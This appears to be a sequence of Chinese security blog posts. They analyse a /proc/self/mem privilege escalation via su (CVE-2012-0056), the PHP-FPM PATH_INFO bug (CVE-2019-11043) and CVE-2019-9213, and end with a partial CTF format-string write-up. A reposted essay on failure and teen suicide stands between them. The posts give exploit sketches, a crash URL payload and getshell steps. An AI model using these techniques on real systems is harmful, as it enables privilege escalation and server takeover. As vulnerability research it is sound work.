if (file->private_data != (void *)((long)current->self_exec_id))
goto out_mm;
这个check关系到了前面提到的self_exec_id,这个check点的意义相当于把打开/mem的进程和写/mem进程稍微联系起来了,这里用了稍微这个词,显然我觉得这个check再这里并没什么意义。

现在再来组合起来看漏洞的成因,如何利用/proc/self/mem来提权?如果我们能写setuid的进程内存,就可以到达提权的效果,具有setuid权限的二进制程序最常见的就是su,而且su有一个标准错误的输出,当使用su not_exist_user的时候会有一下类似的输出:

1
2
root@kali:~# su not_exist_user
No passwd entry for user 'not_exist_user'
不同版本的su输出不太一样,但是这里not_exist_user都会一样输出。这样一来就可以控制写的内存,一个比较好的想法就随之而来:
1
2
3
4
5
fd = open('/proc/self/mem');
dup2(2,7);
dup2(fd,2);
lseek(fd,awesome_place,SEEK_SET);
execl('/bin/su',"su",shellcode);
但是这里不能这样简单处理,注意第二个check点,让打开/mem的进程和写/mem的进程有那么一点小联系。显然这里经过execl以后,导致了self_exec_id++mm_open里面的self_exec_id不相等了,前面也说这个check有问题,现在如果再execl之前先fork一个子进程,再让子进程execl一下,再通过子进程打开/proc/$ppid/mem,现在在mm_open这一步设置self_exec_id的时候是在原理的基础上加一了,再通过unix socket把打开的/proc/$ppid/mem回传给父进程。这样就成功绕过了第二个check,导致shellcode写入目标内存。

再来看一看忘哪写?如何去劫持su的程序流弹shell,当su 输出错误以后,之后会执行exit,所以理所当然我们劫持exit地址的内存,这要说到另外一个点,为什么选择su,su除了可以输出可控的字符串,早期的su是静态编译的,没有重定位的过程,也没有PIE,所以这里你不用去考虑aslr带来的影响,这里也提出还有其他非PIE编译的具有setuid的二进制比如gpasswd

思考

关于此处的修复。在mm_open处做了额外的处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static int mem_open(struct inode* inode, struct file* file)
{
- file->private_data = (void*)((long)current->self_exec_id);
+ struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
+ struct mm_struct *mm;
+
+ if (!task)
+ return -ESRCH;
+
+ mm = mm_access(task, PTRACE_MODE_ATTACH);
+ put_task_struct(task);
+
+ if (IS_ERR(mm))
+ return PTR_ERR(mm);
+
/* OK to pass negative loff_t, we can catch out-of-range */

file->f_mode |= FMODE_UNSIGNED_OFFSET;
+ file->private_data = mm;
+
return 0;
}
在open_的时候就判断了对目标内存的读写权限。而且file->private_data直接保存了目标内存的结构,而不是在mm_write的时候动态获取。显然现在无法用execl来替换/proc/self/mem的目标内存了,也符合我的预期修复方式,让打开/mem进程和写/mem进程更紧密的联合在一起。

这里关于找su里面exit@plt位置的也比较有意思,开始时设想用objdump找。但是可能目标系统上没有它,exploit直接穿插了一段用ptrace调试su来找exit@plt的位置也比较有趣。

如果开了PIE和aslr的setuid的二进制这里时候似乎会变的异常的复杂。可能我们需要把su挂起来。这里我没有想到能绕aslr的方法。。。还是太菜了,无力。

同时也学到了用unix socket来传递父子进程间fd的方法。惊叹于作者对进程间理解,也感叹自己菜的真实。

参考

https://git.zx2c4.com/CVE-2012-0056/about/

拥抱php之CVE-2019-11043

这个洞是在discord看见的,只能叹息一声,linux kernel又要往后延期了。作者是打realworld发现的一个0day,有趣,随手一打,服务就crash了,然后0day一枚。

https://bugs.php.net/bug.php?id=78599从作者的描述加上官方的patch。

你能知道所有的东西和PATH_INFO这个fastcgi的参数有关。

1
2
3
4
5
6
7
8
9

location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_pass php:9000;
...
}
}
之前我对nginx完全一片空白,这个地方我想了很久,fastcgi_split_path_info这个关键字字面意思就是用来分割PATH_INFO的,后面这个正则第一个子匹配给$fastcgi_script_name,第二个子匹配给 $fastcgi_path_info,这里用个换行符这条正则就gg了,nginx里面的.可以用来匹配除换行符以外的字符。有意思是这个正则gg以后,全部的URI都给了$fastcgi_script_name.所以这里的PATH_INFO是个空值。

下面涉及到了php内核问题,没什么好办法,只能调。用作者给的crash_url,我这里并不能crash-.+。

1
http://127.0.0.1:8080/helloworld.php/%0aAAAAAAAAAAAAAAAAAAAAAAAAAAAA?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
按照上面的nginx的规则这里的PATH_INFO是个空值。而SCRIPT_NAME"$document_root/helloworld.php/\nAAAAAAAAAAAAAAAAAAAAAAAAAAAA",这在你调的时候都能打印出来。定位问题所在的函数init_request_info,注意看下面的代码段:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if (script_path_translated &&
(script_path_translated_len = strlen(script_path_translated)) > 0 &&
(script_path_translated[script_path_translated_len-1] == '/' ||
(real_path = tsrm_realpath(script_path_translated, NULL)) == NULL)
) {
char *pt = estrndup(script_path_translated, script_path_translated_len);
int len = script_path_translated_len;
char *ptr;

if (pt) {
while ((ptr = strrchr(pt, '/')) || (ptr = strrchr(pt, '\\'))) {
*ptr = 0;
if (stat(pt, &st) == 0 && S_ISREG(st.st_mode)) {
int ptlen = strlen(pt);
int slen = len - ptlen;
int pilen = env_path_info ? strlen(env_path_info) : 0;
int tflag = 0;
char *path_info;
if (apache_was_here) {
/* recall that PATH_INFO won't exist */
path_info = script_path_translated + ptlen;
tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
} else {
path_info = env_path_info ? env_path_info + pilen - slen : NULL;
tflag = (orig_path_info != path_info);
}
这段代码注释里面也说了这是用来找请求脚本的真实路径。什么意思呢?
1
SCRIPT_NAME = "$document_root/helloworld.php/\nAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
这里脚本并不是真实路径,需要压缩,一直取最右边的'/'或者'\'来分割字符串,直到找到真实的路径。然后这里有一个操作
1
path_info = env_path_info ? env_path_info + pilen - slen : NULL;
因为有可能出现这种情况/something/random.php/real_path.php/aaaaaaaaaaaa; 这里本意是应该用来真实的PATH_INFO,但是这里出现了问题,直接把env_path_info当做了判断条件,但是php里面存储空值的fastcgi字段,是用的char[1],什么情况才会出现NULL呢?除非fastcgi的请求里面没有这个字段,但只要你有这个字段,尽管是空值,就给你char[1].

所以这里env_path_info不是个NULL的指针。这就出现问题了,后面的正常逻辑应该是env_path_info指向的是个非空的字符串。这里pilen代表PATH_INFO的长度,当然为0,这里相当于你把path_info往后移了slen个字节。关于这一点我放个图就知道了 Screenshot%20from%202019-10-24%2019-38-59|690x330

可以看到path_info会指向REDIRECT_STATUS这个字符串。继续往后看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (tflag) {
if (orig_path_info) {
char old;

FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
old = path_info[0];
path_info[0] = 0;
if (!orig_script_name ||
strcmp(orig_script_name, env_path_info) != 0) {
if (orig_script_name) {
FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
}
SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
} else {
SG(request_info).request_uri = orig_script_name;
}
path_info[0] = old;
这操作太熟悉了path_info[0] = 0;,有点NULL off by one的味道了。这个写一字节null的机会应该怎么用呢?上面的截图,就算在这个REDIRECT_STATUS字符串写NULL似乎没什么用,控制写NULL的偏移是可以来控制,但是当我上面偏移往后看的时候,存储都是fastcgi的字段,怎么写似乎都没什么作用,似乎这个洞用来DOS都没办法做到。

单纯看作者的exp也没什么眉目,但是有一个重要的地方,在运行exp过程中fpm的worker crash过一次。这是我用ASAN检测到的,具体在php编译的时候如何加上ASAN可以按照下面的写

1
CFLAGS="-O0 -g -fsanitize=address -fno-omit-frame-pointer" LIBS='-ldl' ./configure --prefix=/root/php-7.3-fpm --enable-fpm  --enable-debug
千万别加上--disable-all,这会导致后面用session.auto_start检测回显的时候出错。所以标准库改加上的就加上。

这个时候,其实我有点手足无措,但是有一个地方我有注意到,作者的exp中对于从env_path_info往后偏移的slen一直都是没有变的,这个是值是30,相当于写NULL的地方是固定的。

1
2
/helloworld.php/PHP%0Ais_the_shittiest_lang.php?qqqqqqqqqqqqqqqqqqqqqq
-------------------------------
影响slen的是画横线的地方,这个地方从exp可以看到一直是没有改变过的。完全没有思路的我,只能硬着头皮去看crash的点,从ASAN的bt回溯里面定位到下面地方
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len)
{
char *ret;

if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) {
unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE;
fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size);

p->pos = p->data;
p->end = p->pos + seg_size;
p->next = h->data;
h->data = p;
}
ret = h->data->pos;
memcpy(ret, str, str_len); //crashed~!!!!!!!!!!!!!!!!!!!!!1
ret[str_len] = 0;
h->data->pos += str_len + 1;
return ret;
}
memcpy地方出现了Segmentfault,ret是个非法地址。ret来自于h->data->pos,这个h->data是个什么结构呢?
1
2
3
4
5
6
struct _fcgi_data_seg {
char *pos;
char *end;
struct _fcgi_data_seg *next;
char data[1];
} *
看起来似乎一个内存块管理结构,而且是pos的第5个字节被写NULL了。这就变得很有趣了,env_path_info往后写30字节,怎么能写到这个结构上。反过来想env_path_info-30就在_fcgi_data_seg结构里面。这地方就需要看这个结构是怎么分配了,继续往前看。

可以看到这个结构位于内存块的起始位置,最大可以分配malloc(sizeof(fcgi_data_seg) - 1 + seg_size);考虑到16对齐,这个size应该是4096+32,可以看到逻辑上内存块是个链式结构,用pos和end分布来记录起始和结束,这个char data[1]就是data段的开始。当这块内存不够的时候,会重新分配。

这一切都变的明朗了,储存fastcgi的参数地方内存是动态分配的。初始时候会分配最大的内存块4128,那么会存在这样一种情况,在分配PATH_INFO的时候,前面初始化的内存块用完了。重新开始分配一块内存,存储fastcgi的参数的是个_fcgi_hash_bucket结构,先存储是PATH_INFO这个字段名,然后存储对应的值。我们可以画一下出现这种情况的内存分布:

1
2
3
4
5
6
7
8
9
10
char *pos  
------------- +8
char *end
------------- +8
char *next
------------- +8
PATH_INFO\x00
------------- +10
\x00 <---- env_path_info
-------------

你可以算一下这种情况下 env_path_info-30,刚好在pos位置的第5个字节上,一般用户态的地址只用了6个字节,第5字节高字节一般都是随机化的字节,写NULL以后,最后肯定非法了。

这个NULL写的地方现在来看就有意义了。我们可以一直通过增加query的长度,来达到这个效果,最后返回404就代表worker crash了。这样我们就可以控制写的位置,下面来讲一讲具体存储fastcgi字段的过程,只有了解这工程以后,我们才知道具体哪里写NULL。

我们直接来看是怎么取值的,首先会根据fastcgi的参数名取一个hash。

1
2
3
4
5
6
#define FCGI_HASH_FUNC(var, var_len) \
(UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
(((unsigned int)var[3]) << 2) + \
(((unsigned int)var[var_len-2]) << 4) + \
(((unsigned int)var[var_len-1]) << 2) + \
var_len)
具体过程如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len)
{
unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK; //这里做的是个映射,映射到0-127
fcgi_hash_bucket *p = h->hash_table[idx]; //取hash_bucket

while (p != NULL) { //这里取值是比较严格的hash_value 和参数名要完全对上。
if (p->hash_value == hash_value &&
p->var_len == var_len &&
memcmp(p->var, var, var_len) == 0) {
*val_len = p->val_len;
return p->val;
}
p = p->next;
}
return NULL;
}

按照上面的思路,如果我们要伪造PHP_VALUE,就得找到和PHP_VALUE hash值和长度相同的fcgi_hash_bucket,相当于要找已经插入到h->hash_table的键值对,mochzz问过我下面字段出现了fastcgi请求,是有什么作用,作用就在这里,可以自己加http_header 直接传不就行了,这样我们就直接插入一个PHP_VALUE位置对应的fcgi_hash_bucket.

1
2
0x559b058ea102:	"HTTP_EBUT"
0x559b058ea10c: "mamku tvoyu"
这个HTTP_EBUT就和PHP_VALUE有相同的hash值和长度。如果不太确定话,可以直接用上面计算hash的方法算一下,所以现在我们需要做就是让我们的PHP_VALUE刚好能覆盖HTTP_EBUT,并且紧随在后面的mamku tvoyu也能被我们构造的ini设置覆盖掉。

具体怎么做呢? 我们NULL off by one,现在不能写在pos的第5字节上了。需要把pos往后移动,最好的情况应该是写第一个字节,把第一个字节置NULL,pos后移。为了能精准的覆盖,这个时候还需要加一个http_header用来作为调节。如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HTTP_D_PISOS8
==============================D
HTTP_EBUT
mamku tvoyu
...
...
... <------- 正常pos的指向。

HTTP_D_PISOS8
==============================D <--------------- 写pos第一个字节以后的指向
HTTP_EBUT
mamku tvoyu
...
...
...
我可以通过调节HTTP_D_PISOS8的长度,让位置的fake PHP_VALUE正好覆盖在HTTP_EBUT上。写个NULL最多往前移0xff个字节,完全可控。这是第二个需要爆破的点。

这也需要调节前面的结构,让PATH_INFO现在需要偏移34而不是30,因为要写pos的第一个字节。这里作者exp里面用的是session.auto_start=1让页面返回Set-Cookie来判断恰好覆盖点,因为每次通过ini设置的语句长度可以不太一样,这个时候在后面填;,第一次在session.auto_start=1;;;;来保证长度足够后面写。因为fpm以worker来调度的,一个worker就是一个进程,进程只要不crash就可以保存之前ini设置。所以这里可以分开来写ini的设置来getshell,这样引用一张mochazz的图,你就可以知道是如何getshell的。

image|405x223

mochazz也问我了一个问题,为什么前面加Q是5个的一加来进行爆破的,这里其实很简单,PATH_INFO\x00,长度为10,加5个Q相当于加了10个Q因为fastcgi里面有两个字段 queryrequest_uri都会包含查询字段。

还有这里fpm不只有一个woker,在后面写ini的时候,你需要一个请求发几次,确保同一个worker都能写上去。这里调试的时候,你可以把fpm只开一个worker,虽然我这里开了3个worker,但我用gdb把其他两个都挂起来了,相当于只有一个worker。

只能说作者幸运值和技术值爆表,想要弄个crash也不太容易啊,我为什么没有碰到过这种好事-.-,如果上述分析有不对地方,师傅们都可以指出来,有疑问的都可以一起来探讨!

CVE-2019-9213 分析笔记

漏洞概述:

这个漏洞并不能提权,它应该属于组合技里面关键的一环,同样问题的开始出现在/proc/$pid/mem上,如果有写目标内存权限的话,那么是可以在目标用户内存空间为0的虚拟地址写东西的,那么如果再配上一个内核里面的null pointer dereference的洞是有可能制造提权效果的。

漏洞分析:

mem_open较之之前的CVE-2012-0056并没什么发生明显的变化,只是把一些操作封装起来了,这次出现问题地方比较深,直接来看mem_write:

1
2
3
4
5
static ssize_t mem_write(struct file *file, const char __user *buf,
size_t count, loff_t *ppos)
{
return mem_rw(file, (char __user*)buf, count, ppos, 1);
}
write 和 read也整合到了一起。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
static ssize_t mem_rw(struct file *file, char __user *buf,
size_t count, loff_t *ppos, int write)
{
...
while (count > 0) {
int this_len = min_t(int, count, PAGE_SIZE);

if (write && copy_from_user(page, buf, this_len)) {
copied = -EFAULT;
break;
}

this_len = access_remote_vm(mm, addr, page, this_len, flags);
...
回顾一下之前的CVE,之前的CVE利用点在于mm结构是mem_write才获取的,那么可以execl来替换掉/proc/self/mem,导致了su可以写自己的内存。那么在这里同样是拿su来写,但是写的是其他进程的内存,写其他低权限进程的内存,有什么作用呢?似乎也没什么作用,但是这里竟然能写到目标内存虚拟地址为0的地方上。

这里需要把目光聚集在是如何获取到这个地址0的。接着看access_remote_vm:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int access_remote_vm(struct mm_struct *mm, unsigned long addr,
void *buf, int len, unsigned int gup_flags)
{
return __access_remote_vm(NULL, mm, addr, buf, len, gup_flags);
}

int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm,
unsigned long addr, void *buf, int len, unsigned int gup_flags)
{
struct vm_area_struct *vma;
void *old_buf = buf;
int write = gup_flags & FOLL_WRITE;

down_read(&mm->mmap_sem);
/* ignore errors, just check how much was successfully transferred */
while (len) {
int bytes, ret, offset;
void *maddr;
struct page *page = NULL;

ret = get_user_pages_remote(tsk, mm, addr, 1,
gup_flags, &page, &vma, NULL);
...
maddr = kmap(page);
if (write) {
copy_to_user_page(vma, page, addr,
maddr + offset, buf, bytes);
set_page_dirty_lock(page);
} else {
copy_from_user_page(vma, page, addr,
buf, maddr + offset, bytes);
}
kunmap(page);
put_page(page);
...
}
获取目标page的地方并不在这里,但是这里把获取目标page和写page分开了。所以这里只需要重点关注get_user_pages_remote,接下来的一些过程比较冗余,不想直接拉代码跟记流水账一样,所以这里只会列出一些重点的地方。 :)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
tatic long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas, int *nonblocking)
{
...
do {
struct page *page;
unsigned int foll_flags = gup_flags;
unsigned int page_increm;

/* first iteration or cross vma bound */
if (!vma || start >= vma->vm_end) {
vma = find_extend_vma(mm, start);
...

第一次迭代会去初始化vma,什么是vma?就是虚拟内存,如果你去看/proc/$pid/maps内容,其中每一行就是一个vma块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct vm_area_struct *find_vma(struct mm_struct *mm, unsigned long addr)
{
struct rb_node *rb_node;
struct vm_area_struct *vma;
...
rb_node = mm->mm_rb.rb_node;
while (rb_node) {
struct vm_area_struct *tmp;
tmp = rb_entry(rb_node, struct vm_area_struct, vm_rb);
if (tmp->vm_end > addr) {
vma = tmp;
if (tmp->vm_start <= addr)
break;
rb_node = rb_node->rb_left;
} else
rb_node = rb_node->rb_right;
}
if (vma)
vmacache_update(addr, vma);
return vma;
}
这里就是具体找合适vma结构的地方,有一个宗旨addr < vma->end,mm->mm_rb是个红黑二叉树结构,不要想的太过于复杂,在结构上就是和普通二叉树数搜索是一样的,小的在左子节点,大的在右子节点,通过vma->vm_start <= addr判断,然后不断的逼近合适的vma区域。

在这里你是可以发现addr 如果太大,大于高地址的vma->vma_end那么肯定是会返回NULL的,但比较小的话,小于低地址的vma->vma_start是会返回这个低地址所对应的vma。

再进一步看拿到vma是怎么处理的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
find_extend_vma(struct mm_struct *mm, unsigned long addr)
{
struct vm_area_struct *vma;
unsigned long start;

addr &= PAGE_MASK;
vma = find_vma(mm, addr);
if (!vma)
return NULL;
if (vma->vm_start <= addr)
return vma;
if (!(vma->vm_flags & VM_GROWSDOWN))
return NULL;
start = vma->vm_start;
if (expand_stack(vma, addr))
return NULL;
if (vma->vm_flags & VM_LOCKED)
populate_vma_page_range(vma, addr, start, NULL);
return vma;
}
很显然,我们如果说传入的addr是0,即使我们用mmap分配到虚拟地址最低的位置0x10000.这个值可以查看/proc/sys/vm/mmap_min_addr,也是不在这个vma范围的。但是有趣的来了,如果这个vma的flag设置了VM_GROWSDOWN是会进行虚拟内存向下扩展的。

但是会进行一项security_mmap_addr的检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
int cap_mmap_addr(unsigned long addr)
{
int ret = 0;

if (addr < dac_mmap_min_addr) {
ret = cap_capable(current_cred(), &init_user_ns, CAP_SYS_RAWIO,
SECURITY_CAP_AUDIT);
/* set PF_SUPERPRIV if it turns out we allow the low mmap */
if (ret == 0)
current->flags |= PF_SUPERPRIV;
}
return ret;
}
这里检查很显然已经用su绕过了,current_cred()取的写/proc/self/mem的进程。接下来的一步,在这里我就有些不理解了:
1
2
3
4
5
6
7
prev = vma->vm_prev;
/* Check that both stack segments have the same anon_vma? */
if (prev && !(prev->vm_flags & VM_GROWSDOWN) &&
(prev->vm_flags & (VM_WRITE|VM_READ|VM_EXEC))) {
if (address - prev->vm_end < stack_guard_gap)
return -ENOMEM;
}
按照前面遍历的过程,此时vma拿到的肯定是地址最低的地方,怎么可能还会有更低的地方?这里的检查有什么作用?然后我想了一下整个过程,其实这里有道理的。可能会出现这样一种情况:

1
2
3
4
5
6
7
--------------|low
|VMA |
--------------|high
| \|/ <-----------addr
--------------
|VMA |
--------------

这里出现stack_guard_gap为1M,是一种当vma内存增长时保护措施,具体的可以看看这篇文章https://blog.qualys.com/securitylabs/2017/06/19/the-stack-clash

回到本文的主题,显然这里一切正常,绕过了mmap_min_addr的限制向下扩展内存,然后用缺页中断,分配真正物理内存。以至于可以在用户空间0虚拟地址写入构造的数据,这个mmap_min_addr设置的初衷就是为了减少linux kernel里面null pointer dereference的隐患。 也并非不可以在虚拟地址0上写东西,这个mmap_min_addr的是可以直接设置的。

思考:

https://cert.360.cn/report/detail?id=58e8387ec4c79693354d4797871536ea 这篇文章的师傅发表了一个观点说,修复的方法似乎并不合理。但我认为这恰恰是最合理的。 > 笔者以为这样修补没有真正解决问题。这是一个逻辑漏洞,根本原因在于可以通过两个进程绕过security_mmap_addr函数中cap_capable(current_cred()……)的检查逻辑

师傅认为这里的cap_capable检查逻辑存在问题。我感觉这里并没有错,只是用错了地方。 > If the process is attempting to map memory below dac_mmap_min_addr they need CAP_SYS_RAWIO. The other parameters to this function are unused by the capability security module. Returns 0 if this mapping should be allowed-EPERM if not.

从上述注释可以看的出来,the process想要获取目标内存低于dac_mmap_min_addr的内存映射,必须要有CAP_SYS_RAWIO的权限。这个地方权限判断不应该放在进程读写这个地方,想要获取的目标地址并不是属于当前进程,security_mmap_addr应该是用在当前进程下的地址判断。

但是如果说其他地方也用到这个security_mmap_addr,如果处于进程间的读写话,也是有可能出现问题的。我也搜索了一下存在security_mmap_addr的函数。只有一个get_unmapped_area有,这个函数发生在用户进程空间需要映射新的内存时候。这也很难把和多进程的操作联系起来。

所以正如官方修复的那样,直接删掉这个地方不合理的权限判断,扩展低于mmap_min_addr的地址时直接返回error。

但是这里还是可以通过指定VM_GROWSDOWN来向下扩展内存。这是比较有趣的地方,虽然不能扩展至mmap_min_addr以下。接下来就是分析利用这个洞的组合技。:)

跌倒-寄K

--转自龙应台《目送》

img

不久前,震动了整个香港的一则新闻是,一个不堪坎坷的母亲,把十岁多一点的两个孩子手脚捆绑,从高楼拋落,然后自己跳下。

今天台湾的新闻,一个国三的学生在学校的厕所里,用一个塑胶袋套在自己头上,自杀了。

读到这样的新闻,我总不忍去读细节。掩上报纸,走出门,灰蒙蒙的天,下着细雨。已经连下了三天雨,早上醒来时,望向窗外,浓浓的雾紧紧锁住了整个城市。这个十五岁的孩子,人生最后的三天,所看见的是一个灰蒙蒙、湿淋淋、寒气沁人的世界。这黯淡的三天之中,有没有人拥抱过他?有没有人抚摸过他的头发,对他说 “孩子,你真可爱”?有没有人跟他同走一段回家的路?有没有人发简讯给他,约他周末去踢球?有没有人对他微笑过,重重地拍他肩膀说,“没关系啊,这算什么?”有没有人在MSN上跟他聊过天、开过玩笑?有没有人打过电话给他。用不放心的声音说,“嘿,你今天怎么了?”

  在那三天中,有没有哪一个人的名字被他写在笔记本里,他曾经一度动念想去和对方痛哭一场?有没有某一个电话号码被他输入手机,他曾经一度犹疑要不要拨那个电话去说一说自己的害怕?

  那天早上十五岁的他决绝地出门之前,桌上有没有早点?厨房里有没有声音?从家门到校门的一路上,有没有一句轻柔的话、一个温暖的眼神,使他留恋,使他动摇?

  我想说的是,K,在我们整个成长的过程里,谁,教过我们怎么去面对痛苦、挫折、失败?它不在我们的家庭教育里,它不在小学、中学、大学的教科书或课程里,它更不在我们的大众传播里。家庭教育、学校教育、社会教育只教我们如何去追求卓越,从砍樱桃的华盛顿、悬梁刺骨的张秦到平地起楼的比尔盖茨,都是成功的典范。即使是谈到失败,目的只是要你绝地反攻,再度追求出人头地,譬如越王勾践的卧薪尝胆,洗雪耻辱,譬如哪个战败的国王看见蜘蛛如何结网,不屈不挠。

  我们拼命地学习如何成功冲刺一百米,但是没有人教过我们:你跌倒时,怎么跌得有尊严;你的膝盖破得血肉模糊时,怎么清洗伤口、怎么包扎;你痛得无法忍受时,用什么样的表情去面对别人;你一头栽下时,怎么治疗内心淌血的伤口,怎么获得心灵深层的平静,心像玻璃一样碎了一地时,怎么收拾?

  谁教过我们,在跌倒时,怎样的勇敢才真正有用?怎样的智慧才能度过?跌倒,怎样可以变成行远的力量?失败,为什么往往是人生的修行?何以跌倒过的人,更深刻、更真诚?

  我们没有学过。

  如果这个社会曾经给那十五岁的孩子上过这样的课程,他留恋我们——以及我们头上的蓝天——的机会是不是多一点?

  现在K也绊倒了。你的修行开始。在你与世隔绝的修行室外,有很多人希望捎给你一句轻柔的话、一个温暖的眼神、一个结实的拥抱,我们都在这里,等着你。可是修行的路总是孤独的,因为智慧必然来自孤独。

De1ctf2019-unprintable

point

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char v3; // [rsp+0h] [rbp-10h]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Welcome to Ch4r1l3's printf test");
printf("This is your gift: %p\n", &v3);
close(1);
read(0, buf, 0x1000uLL);
printf(buf, buf); //很明显的格式化漏洞
exit(0);
}

这里printf之后直接exit,所以这个需要找exit里面找一找能不能控制程序流的地方。exit过程中调用了_dl_fini,在_dl_fini里面有一个指针引用的函数调用

1
2
3
4
5
6
7
8
9
10
11
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}

这个((fini_t) array[i]) ();这个call的汇编代码如下:

1
call   QWORD PTR [r12+rdx*8]  ;rax ==  i

再看这个r12的指向

1
2
3
mov    r12,QWORD PTR [rax+0x8]
mov rax,QWORD PTR [rbx+0x120]
add r12,QWORD PTR [rbx]

这个地方rbx = &(l->l_addr) , l就是link_map,这个link_map的地址是残留在调用栈上的。所以这里我们是可以写link_map开始的4字节,原本是指向fini_array,所以这里我们可以让r12指向bss上。相应的bss的位置,设置为main函数内,即read的位置

1
2
3
4
